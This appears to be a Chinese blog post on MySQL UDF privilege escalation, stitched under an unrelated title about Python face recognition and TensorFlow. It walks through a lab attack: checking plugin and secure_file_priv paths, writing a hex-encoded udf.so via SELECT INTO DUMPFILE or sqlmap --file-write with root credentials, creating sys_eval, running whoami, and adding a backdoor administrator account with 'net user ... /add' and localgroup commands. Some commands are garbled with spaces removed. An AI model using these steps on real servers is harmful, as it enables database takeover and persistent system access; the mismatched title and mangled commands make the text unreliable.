1. 程式人生 > 其它 >python人臉識別專案之基礎學習(二):TensorFlow的簡單操作

python人臉識別專案之基礎學習(二):TensorFlow的簡單操作

0x01 UDF#

UDF(user defined function)使用者自定義函式,是mysql的一個拓展介面。使用者可以通過自定義函式實現在mysql中無法方便實現的功能,其新增的新函式都可以在sql語句中呼叫,就像呼叫本機函式一樣。

0x02 windows下udf提權的條件#

  • 如果mysql版本大於5.1,udf.dll檔案必須放置在mysql安裝目錄的lib\plugin資料夾下/
  • 如果mysql版本小於5.1, udf.dll檔案在windows server 2003下放置於c:\windows\system32目錄,在windows server 2000下放置在c:\winnt\system32目錄。
  • 掌握mysql資料庫的賬戶,從擁有對mysql的insert和delete許可權,以建立和拋棄函式。
  • 擁有可以將udf.dll寫入相應目錄的許可權。

0x03 提權方法#

如果是mysql5.1及以上版本,必須要把udf.dll檔案放到mysql安裝目錄的lib\plugin資料夾下才能建立自定義函式。該目錄預設是不存在的,需要使用webshell找到mysql的安裝目錄,並在安裝目錄下建立lib\plugin資料夾,然後將udf.dll檔案匯出到該目錄。


在sqlmap中可以匯入udf


複製到新建目錄

Copy
create function sys_eval returns string soname "lib_mysqludf_sys.dll"; --引用共享庫檔案建立儲存過程


成功執行命令,可以看到當前許可權為administrator

刪除該函式

參考
https://www.cnblogs.com/sijidou/p/10522972.html
https://www.jianshu.com/p/5b34c1b6dee7
https://blog.csdn.net/qq_26090065/article/details/81515355

注意:

把dll檔案放入到特定的“資料夾”下方式有很多種:

方式a.如何你有webshell或有能操作檔案的任何方式(比如遠端登入),直接把dll檔案放入特定資料夾下。檔名可以自定義,比如我喜歡命名為“udf.dll”。比如用“菜刀”操作檔案

udf.dll檔案下載連結:

方式b.也可以使用sql語句匯入(寫)一個dll檔案。(只有sql語句執行許可權最適合用此方法),下面的文章就是使用了此方法!

mysql udf提權實戰測試

根據前天對大牛們的資料學習,進行一次mysql udf提權測試。

測試環境:

受害者系統:centos 7.7 ,docker部署mysql5.6.46, IP:192.168.226.128

攻擊者系統:centos7.7,安裝mysq client 5.7,IP:192.168.226.129

攻擊者連線至mysql後,使用SQL語句檢查相關的路徑及許可權

show variables like "%plugin%";

show variables like "%secure_file%";


攻擊者系統

剛安裝好的mysql時,secure_file_priv是有一個指定路徑,而且並不在/usr/lib/mysql/下,則無法寫入udf檔案。手動在受害者所在系統/etc/mysql/mysql.conf.d/mysqld.conf中修改,若不存在secure_file_priv,則新增secure_file_priv=


受攻擊系統的mysqld.conf

提權測試:

將udf十六進位制匯入查檢目錄中,先設定udf變數

mysql> set @a=unhex('udf十六進位制編碼,詳見下文');

mysql> select @a into dumpfile '/usr/lib/mysql/plugin/udf.so';


上傳外掛

*************也可以使用sqlmap進行上傳so檔案:

python sqlmap.py -d "mysql://root:test1234@@192.168.226.128:3306/mysql" --file-write="C:\Users\username\AppData\Local\Programs\Python\Python37\sqlmap-master\data\udf\mysql\linux\64\lib_mysqludf_sys.so_" --file-dest="/usr/lib/mysql/plugin/udf.so"

引用方法,成功執行系統命令:

mysql> select * from func;

mysql> create function sys_eval returns string soname 'udf.so';

mysql> select sys_eval('whoami');


命令執行成功-whami

<進一步的許可權提升及持久化,需要繼續學習研究>

==》要使用net user add 才可以最終提權!!!如下:

3.使用自定義的函式。

我們可以使用如下命令來執行系統命令

select sys_eval('系統命令');

例如我們執行如下命令:

select sys_eval('net user admin admin /add');

就會發現新建了一個使用者-admin

有些人對於UDF提權有一些錯誤的認知。認為UDF提權只是影響windows和mysql。但UDF(使用者自定義函式)不僅僅是影響著Windows系統,也影響Linux系統。不僅僅影響Mysql,也影響Postgrepsql。

=============================

9.通過cmd function進行提權。

命令:

selectcmdshell('netuserxx/add');

selectcmdshell('netlocalgroupadministratorsx/add');

10.遠端到主機

11.檢視管理員組